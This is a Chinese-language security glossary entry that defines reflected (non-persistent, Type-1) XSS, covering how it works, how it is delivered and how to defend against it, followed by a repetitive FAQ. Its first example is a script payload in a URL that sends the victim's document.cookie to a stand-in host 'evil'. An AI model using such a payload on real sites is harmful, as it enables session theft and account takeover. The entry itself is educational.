Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Entry № 912

反射型 XSS

反射型 XSS 是什么?

反射型 XSS一种非持久化 XSS,攻击者控制的请求参数被立即反射到响应中,并在受害者浏览器中执行。


反射型 XSS(非持久型,Type-1)发生在 Web 应用从 HTTP 请求(通常是 URL 查询参数或表单字段)取得数据后,未经输出编码就将其回显到响应中。攻击需要受害者点击精心构造的链接,因此通常通过钓鱼邮件、恶意广告或即时消息传播。利用成功后,攻击者可窃取会话 Cookie、以用户身份执行操作,甚至串联实施完全的账户接管。常见防御包括基于上下文的 HTML 编码、严格的内容安全策略,以及会自动转义模板输出的框架。

示例

  1. 01

    https://example.com/search?q=<script>document.location='https://evil/?c='+document.cookie</script>

  2. 02

    错误页面将未过滤的 'message' 查询参数直接写入 DOM。

常见问题

反射型 XSS 是什么?

一种非持久化 XSS,攻击者控制的请求参数被立即反射到响应中,并在受害者浏览器中执行。 它属于网络安全的 攻击与威胁 分类。

反射型 XSS 是什么意思?

一种非持久化 XSS,攻击者控制的请求参数被立即反射到响应中,并在受害者浏览器中执行。

反射型 XSS 是如何工作的?

反射型 XSS(非持久型,Type-1)发生在 Web 应用从 HTTP 请求(通常是 URL 查询参数或表单字段)取得数据后,未经输出编码就将其回显到响应中。攻击需要受害者点击精心构造的链接,因此通常通过钓鱼邮件、恶意广告或即时消息传播。利用成功后,攻击者可窃取会话 Cookie、以用户身份执行操作,甚至串联实施完全的账户接管。常见防御包括基于上下文的 HTML 编码、严格的内容安全策略,以及会自动转义模板输出的框架。

如何防御 反射型 XSS?

针对 反射型 XSS 的防御通常结合技术控制与运营实践,详见上方完整定义。

反射型 XSS 还有哪些其他名称?

常见的别称包括: 非持久型 XSS, Type-1 XSS。

相关术语

参见